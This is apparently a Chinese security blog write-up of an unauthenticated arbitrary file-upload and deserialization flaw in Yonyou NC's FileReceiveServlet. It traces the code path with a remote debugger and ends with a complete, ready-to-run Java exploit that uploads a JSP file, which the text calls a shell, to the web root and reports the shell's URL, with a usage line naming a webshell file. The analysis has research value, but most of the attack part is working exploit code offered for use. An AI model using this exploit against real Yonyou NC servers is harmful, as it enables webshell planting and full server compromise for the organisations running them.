用友NC的搭建就不多说了,我们看下如何调试,用友NC搭建好后的目录是下面这样的。
可以点击startServer.bat来启动用友NC,启动后我们可以看到主要是通过下面红框的内容来运行用友的,我们可以将这句话复制下来,加上我们的调试代码后在cmd下直接运行开启调试。
1E:\yonyou\home\ufjdk\bin\java -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n -server -Xmx768m -XX:PermSize=128m -XX:MaxPermSize=512m -Djava.awt.headless=true -Dfile.encoding=GBK -Duser.timezone=GMT+8 -Dnc.server.name=server -Dnc.server.startCount=0 -DNC_JAVA_HOME=$JAVA_HOME -Dorg.owasp.esapi.resources=E:\yonyou\home/ierp/bin/esapi -Dnc.bs.logging.format=text -Dnc.server.location=E:\yonyou\home -Drun.side=server -Dnc.run.side=server -cp E:\yonyou\home\starter.jar;E:\yonyou\home\ufjdk\lib\tools.jar;E:\yonyou\home\ant\lib\ant-launcher.jar;E:\yonyou\home\lib\cnytiruces.jar nc.bs.mw.start.AloneBootstrap start开启后我们的主机会开启9999端口
再开启我们的神器IDEA,将用友的所有代码导入,并且开启远程调试
启动环境后我们需要测试一下是否可以正常调试,通过web.xml中我们可以看到所有的请求都会经过LoggerFilter过滤器,所以我们只要找到这个过滤器对应的类LoggerServletFilter打个断点即可测试。
漏洞分析之前t00ls上已经有人给出了POC,通过POC我们知道导致这个漏洞的是/servlet/FileReceiveServlet接口,那么我们如何知道处理这个请求的是哪个类呢?我们先看下web.xml中的配置,所有访问servlet下的请求都会由NCInvokerServlet这个servlet来处理,而NCInvokerServlet是由InvokerServlet这个类来处理的。
我们找到InvokerServlet的doPost和doGeet方法,可以看到都是调用doAction来进行处理的。
我们可以随便请求一个路径比如:servlet\xxxx来跟踪一下doAction的处理流程,在这个方法是的开始,首先从请求中获取security_token和user_code并判断是否非空。
中间的过程就是获取路径信息赋值给serviceName,再调用了getServiceObject方法,这个方法会去判断我们请求的路径是否由对应的处理器处理,没有的话会抛异常。
跟进getServiceObject方法,调用了lookup方法。
在getServerContext的lookup方法中,判断name的内容是否为Server,由于这里不为server因此会调用父类的lookup。
跟进父类AbstractContext的lookup方法,我们可以看到在这个方法中会根据name的不同执行不同的操作,如果name以java:comp/env/开始,则会执行JndiContext.lookup,其他的类似也是根据name的值执行不同的方法,如果都没有匹配成功,则会调用findMeta
跟进findMeta,会调用ComponentMeta的getMeta,继续跟进会this.nameIndices中来获取我们传入的name值,这里由于我们传入的xxx没有,所以没有找到返回null。
如果我们传入的是FileReceiveServlet则可以正常获取并返回。
返回后,通过meta.getEjbName()获取FileReceiveServlet对应的jndiName的值
通过findComponent获取FileReceiveServlet的实例并返回
一直返回到InvokerServlet后执行获取到的FileReceiveServlet对象的service方法
由于FileReceiveServlet类并没有service方法,因此会先调用其父类也就是HTTPServlet的serive方法,在service方法中根据请求的类型调用不同的方法,由于我们这里是get类型,因此最终会执行到FileReceiveServlet类的doGet方法。
跟进doGet方法我们可以看到,无论调用get或者post,最终都是调用handleRequest方法来进行处理的。
跟进handleRequest我们可以看到,首先获取了请求的输入流和相应的输出流。再通过readObject直接对我们传入的数据进行反序列化,所以这个漏洞不仅仅是一个上传漏洞也是一个反序列化漏洞,不过对于反序列化漏洞的利用不仅仅是readObject,还要找到一些依赖的组件,不过用友NC的代码量那么多这个也不难,先不说反序列化漏洞,我们继续看这个上传漏洞。
通过readObject进行反序列化以后,将反序列化后的结果转换为map类型,其中map的键为String值为Object。再获取metaInfo的TARGET_FILE_PATH和FILE_NAME属性来当作path和filename,最后将获取的request输入流中的内容当作文件的内容进行写入。可以看到在整个文件上传的过程中,并没有对文件的后缀或者内容做任何限制,所以我们可以通过这个漏洞在任意目录下写入任意后缀的文件。
POC构造经过上面的漏洞分析,我们已经对这个漏洞的成因有了一定的了解,在这个了解的基础上我们就可以尝试来构造POC,首先在反序列化后会获取一个MAP对象,并获取其中的两个属性,所以在我们的POC中,需要创建这两个属性并进行赋值
123Map metaInfo = null;metaInfo.put("TARGET_FILE_PATH", "E:/yonyou/home/webapps/nc_web");metaInfo.put("FILE_NAME", "test666.jsp");另外我们需要将传入的内容进行序列化
12ObjectOutputStream oos = new ObjectOutputStream(httpUrlConn.getOutputStream());oos.writeObject(metaInfo);最后我们需要将我们想要写入的文件转换成输入流发送
123456789101112File file = new File("C:\\Users\\admin\\Desktop\\test.jsp"); Long filelength = file.length(); // 获取文件长度 byte[] filecontent = new byte[filelength.intValue()]; try { FileInputStream in =new FileInputStream(file); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { oos.write(buf, 0, len); } oos.flush(); oos.close();最后给出我简陋的POC
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869import java.io.*;import java.net.HttpURLConnection;import java.net.URL;import java.util.HashMap;import java.util.Map;public class upload {public static void main(String[] args) throws Exception {BufferedReader reader;StringBuffer response;String uri="";String url2="";String path="/servlet/FileReceiveServlet";Map metaInfo = new HashMap();metaInfo.put("TARGET_FILE_PATH", "webapps/nc_web");metaInfo.put("FILE_NAME", "sectest666.jsp");uri=args[0];url2=uri+path;URL url = new URL(url2);HttpURLConnection httpUrlConn = (HttpURLConnection)url.openConnection();httpUrlConn.setRequestProperty("Content-Type","application/x-java-serialized-object");httpUrlConn.setDoOutput(true);httpUrlConn.setDoInput(true);httpUrlConn.setUseCaches(false);httpUrlConn.setRequestMethod("POST");httpUrlConn.connect();ByteArrayOutputStream baos=new ByteArrayOutputStream();OutputStream out = httpUrlConn.getOutputStream();ObjectOutputStream oos = new ObjectOutputStream(out);oos.writeObject(metaInfo);File file = new File(args[1]);Long filelength = file.length(); // 获取文件长度byte[] filecontent = new byte[filelength.intValue()];try {FileInputStream in =new FileInputStream(file);byte[] buf = new byte[1024];int len = 0;while ((len = in.read(buf)) != -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out);baos.close();InputStream inputStream = httpUrlConn.getInputStream();reader = new BufferedReader(new InputStreamReader(inputStream, "UTF-8"));String lines;response = new StringBuffer("");while ((lines = reader.readLine()) != null) {response.append(lines);}} catch(FileNotFoundException e) {e.printStackTrace();} catch(IOException e) {e.printStackTrace();}url2=uri+"/sectest666.jsp";URL httpUrl = new URL(url2);HttpURLConnection httpURLConnection = (HttpURLConnection) httpUrl.openConnection();httpURLConnection.setReadTimeout(50000);httpURLConnection.setRequestMethod("GET");int code = httpURLConnection.getResponseCode();if(code==200){System.out.println("上传成功!!!!!");System.out.println("shell 地址:\n"+uri+"/sectest666.jsp");}}}使用方法
1java -jar yongyou.jar http://192.168.3.30 D:\yijianma.jsp